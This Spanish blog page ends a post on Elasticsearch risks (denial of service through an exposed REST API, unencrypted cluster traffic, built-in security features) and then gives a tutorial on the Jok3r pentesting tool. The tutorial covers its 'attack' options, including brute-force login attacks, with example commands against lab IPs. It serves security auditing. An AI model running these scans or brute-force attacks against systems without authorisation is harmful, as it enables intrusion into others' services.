Existe otro problema inherente al funcionamiento de ES relacionado con el almacenamiento de la información. Como se ha mencionado anteriormente, la estructura de los documentos almacenados en ES parte de un índice, que funciona como un esquema en una base de datos relacional. Esta información se carga en memoria con el objetivo de que el acceso sea rápido, por lo tanto la máquina sobre la que se ejecutan dichas instancias tienen que ser lo suficientemente potente (tanto en términos de memoria como de procesamiento) para admitir la carga de estos documentos. Se tiene que tener un muy buen control sobre lo que se va a almacenar, es decir, permitir la inserción de documentos únicamente con la información estrictamente necesaria y evitar que sean estructuras JSON muy grandes. Si la API Rest de ES puede ser consultada por cualquiera o simplemente, no se tiene cuidado con las cuestiones indicadas antes, es posible que hayan problemas de almacenamiento en una o varias instancias del cluster, pudiendo incluso provocar condiciones de denegación de servicio. Por otro lado, tal como se ha explicado en uno de los posts anteriores de la serie, gracias a la API Rest de ES es posible abrir y cerrar índices, acción que se encarga de volcar los documentos del índice en cuestión a disco (operación de cierre) o de disco a memoria (operación de apertura). El problema de estas operaciones es que son costosas en términos de recursos como resulta evidente y si se ejecutan constantemente sin ningún control sobre índices con miles de documentos (ejecutando un script malicioso, por ejemplo) es bastante probable que se produzca una condición de denegación de servicio.

Tráfico sin cifrar.

En modo cluster los nodos se comunican e intercambian paquetes de datos sin ningún tipo de protección en la capa de transporte. Esto significa que evidentemente, es inseguro por defecto. Como seguramente ya sabéis, esto puede dar lugar a diferentes tipos de ataques que van desde la captura pasiva de paquetes hasta la manipulación y posterior reinyección de los mismos en ciertos escenarios. En este punto poco más merece la pena explicar, es evidente que se trata de un problema de seguridad que no es aceptable en un cluster encargado de almacenar información sensible.

¿Contramedidas?

Si el lector ha trabajado anteriormente con ES, seguramente una de las primeras cosas en las que pensará será en las características de seguridad disponibles en el módulo “X-Pack” (https://www.elastic.co/guide/en/elasticsearch/reference/current/configuring-security.html) y a continuación en la inversión que habría que realizar para adquirir y habilitar dicho módulo en la instancia de ES, ya que no es gratuito. Sin embargo, debido a la presión de la comunidad pidiendo implementar mecanismos de seguridad en la versión gratuita de ES, desde mayo del presente año todas las versiones de ES desde la 6.8 cuentan con características de seguridad incluidas en el producto y que se pueden activar si el administrador así lo desea. Dicho anuncio se ha hecho público hace unas pocas semanas a la fecha de escribir este post y se puede consultar aquí: https://www.elastic.co/es/blog/getting-started-with-elasticsearch-security

No obstante, como resulta evidente las instalaciones de ES existentes tienen que ser “reinstaladas” con las nuevas versiones disponibles en los repositorios de ES, lo cual no es precisamente una tarea fácil cuando la instancia o cluster tiene datos almacenados pero ya es algo.

Algunas de las características relativas a la seguridad en ES, que ahora se encuentran integradas por defecto y para las que no hace falta tirar de X-Pack son las siguientes.

  • Control de accesos basado en roles.
  • Comunicación segura entre nodos de la instancia.
  • Autenticación de usuarios basada en directorio activo, LDAP, Kerberos, SAML o de forma local.
  • Tráfico confiable “nodo a nodo”, habilitando filtrados basados en listas blancas.
  • Logging en eventos relacionados con la seguridad de forma transparete.

Entre muchas otras cosas más. Se trata de características que evidentemente se deben utilizar en un entorno productivo para proteger la información de accesos no autorizados y “miradas indiscretas”.

Un Saludo y Happy Hack.

Adastra.

Herramientas de pentesting interesantes: Jok3r – Parte 2

septiembre 20, 2019 1 comentario

En el post anterior se ha comenzado a hablar de Jok3r y sus funcionalidades básicas, una herramienta que es interesante desde el punto de vista de un pentester dado que integra muchas de las herramientas de uso común en auditorías de red y web. En dicho post solamente se han mencionado los comandos básicos, el manejo de bases de datos locales y cómo instalar la herramienta utilizando la imagen oficial de Docker. Ahora, resulta conveniente ver cómo utilizar lo visto anteriormente para realizar verificaciones de seguridad sobre un entorno concreto.
El comando utilizado para realizar las verificaciones de seguridad incluidas en Jok3r es “attack” el cual recibe múltiples opciones que sirven para configurar los detalles del objetivo, añadir los resultados a una base de datos local concreta o incluso para realizar ataques a múltiples objetivos que se encuentran almacenados en alguna “mission” de Jok3r. En la configuración del ataque es posible utilizar un perfil existente en Jok3r, que tal como se ha visto en el post anterior a este, se pueden consultar con el comando “info” de la siguiente forma:

python3 jok3r.py info –attack-profiles

Opciones en el comando “attack”

A continuación se verá una lista de las opciones disponibles para el comando “attack”, las cuales hay que conocer para poder lanzar las pruebas correctamente.

Opción Descripción
-t / –target Permite especificar el objetivo del ataque. Puede ser una IP:Puerto, un nombre de dominio o una URL.
-s / –service Permite especificar un servicio concreto a auditar.
–add2db Permite añadir o actualizar los resultados obtenidos por el comando en la “mission” (base de datos local) especificada. Si no se utiliza esta opción, los resultados son añadidos/actualizados directamente en la mission “default”.
-m / –mission Permite leer una mission local y lanzar los checks de seguridad contra todos los objetivos registrados en dicha mission.
-f / –filter Filtro sobre los objetivos a los que se deben ejecutar las pruebas de seguridad. Normalmente viene acompañada de la opción “-m”. Los filtros disponibles son ip, host, port, service, url, osfamily y banner. Además, cada filtro debe venir separado por “;” y la sintaxis es “filtro=valor”. Por ejemplo:
“ip=10.1.1.0/24,10.0.0.4;port=80,8000-8100;service=http”. También es posible repetir esta opción varias veces en el mismo comando.
–new-only Realiza las pruebas de seguridad únicamente sobre los servicios que no han sido probados previamente.
–nmap-banner-grab Habilita o deshabilita un escaneo con Nmap del tipo “service detection”. Valores validos “on” y “off”
–reverse-dns Habilita o deshabilita las peticiones DNS reversas contra el objetivo. Valores validos “on” y “off”
–profile Permite ejecutar un perfil de ataque concreto.
–cat-only Permite ejecutar las pruebas de seguridad sobre las categorías especificadas únicamente. Cada categoría se indica separada por coma.
–cat-exclude Permite ejecutar las pruebas de seguridad sobre todas las categorías excepto sobre las especificadas en esta opción. Cada categoría se indica separada por coma.
–checks Permite ejecutar los checks especificados en esta opción. Cada check se indica separado por coma.
–fast Modo rápido. Desactiva la interacción con el usuario y todas las verificaciones se ejecutan en modo desatendido.
–recheck Si un check se ha ejecutado previamente, se vuelve a lanzar. Esto es útil especialmente cuando se utiliza una mission sobre la que se ha trabajado previamente e interesa que se vuelvan a realizar todas las comprobaciones.
-d Habilita el modo “debug”.
–userlist En el caso de encontrar un formulario o mecanismo de autenticación, la herramienta ejecuta un atacante por diccionario con listas que vienen incluidas en la herramienta. Con esta opción se utiliza una lista de usuarios indicada por el usuario
–passlist Con esta opción se utiliza una lista de contraseñas indicada por el usuario
–cred En el caso de que se cuente con las credenciales de un servicio concreto, en lugar de permitir que la herramienta ejecute un ataque de fuerza bruta se pueden indicar dichas credenciales en esta opción de la siguiente forma: –cred <service> <user> <pass>
–user Permite especificar un usuario concreto con el que se deberán realizar los ataques de fuerza bruta en el caso de encontrar un formulario o mecanismo de autenticación.
–option Permite especificar una opción personalizada, por ejemplo una cabecera HTTP concreta para realizar las peticiones contra un sitio web.

Conociendo las opciones, ya se puede utilizar el comando “attack” sin limitaciones. Evidentemente la forma más simple de hacerlo es contra un objetivo concreto y lanzando todas las comprobaciones. Por ejemplo:

python3 jok3r attack -t http://192.168.1.50/twiki/

La herramienta intenta obtener información sobre el servidor web utilizando “Wappalyzer” y también ejecuta un escaneo del tipo “service detection” para identificar el banner del servicio con Nmap. Al no indicar la opción “–add2db” todos los resultados serán guardados en la mission “default”.

Después de recopilar toda la información, la herramienta solicita confirmación para iniciar el ataque. Las comprobaciones pueden tardar un buen rato y en segundo plano, la herramienta se encargará de almacenar los resultados en la mission correspondiente. No obstante, dado que no se ha indicado la opción “–fast”, la herramienta pedirá confirmación antes de lanzar cualquier prueba, lo cual puede ser bastante tedioso tal como se enseña en la siguiente imagen.

El siguiente comando se encargará de lanzar todas las comprobaciones, en modo “fast” y añadiendo los resultados a la mission “adastra”.

python3 jok3r.py attack –fast -t http://192.168.1.50/twiki/

En la medida en la que se van ejecutando las pruebas, se puede apreciar la ejecución de herramientas comunes como “dirsearch”, “wig”, “nikto”, “h2t”, módulos de metasploit y scripts para la detección de vulnerabilidades en CMS, servidores de aplicación y frameworks concretos, aunque evidentemente muchas de estás comprobaciones estarán fuera de contexto dependiendo del objetivo a analizar.

Se pueden combinar todas las opciones indicadas en la tabla anterior, permitiendo ejecutar la herramienta de un modo más concreto contra el objetivo a analizar, por ejemplo.

 

#python3 jok3r.py attack -t 192.168.1.50:21 -s ftp –cat-only recon –add2db ftpmission
#python3 jok3r.py attack -m adastra -f “port=21;service=ftp” –fast #python3 #python3 jok3r.py attack -m adastra -f “port=2222;service=ssh;ip=192.168.1.1” -f “ip=192.168.1.50;service=ftp” –fast –recheck

Finalmente, cuando finalizan las comprobaciones de seguridad realizadas por la herramienta, todos los resultados se quedan almacenados en la base de datos local y a continuación se puede generar un reporte con la opción “report” del comando “db” tal como se enseña en la siguiente imagen.

Una vez se abre el reporte, se muestra cada una de las herramientas y pruebas realizadas para los hosts que se encuentran almacenados en la “mission” seleccionada. Se trata de un informe en formato HTML que está muy bien estructurado y que da una visión general de las vulnerabilidades descubiertas y la ejecución de las herramientas incluidas en el toolbox.

Bien, esto es todo sobre Jok3r, en el próximo post de esta serie hablaré sobre otra herramienta para pentesting que seguramente te resultará también muy interesante.

Un saludo y Happy Hack
Adastra.

A %d blogueros les gusta esto: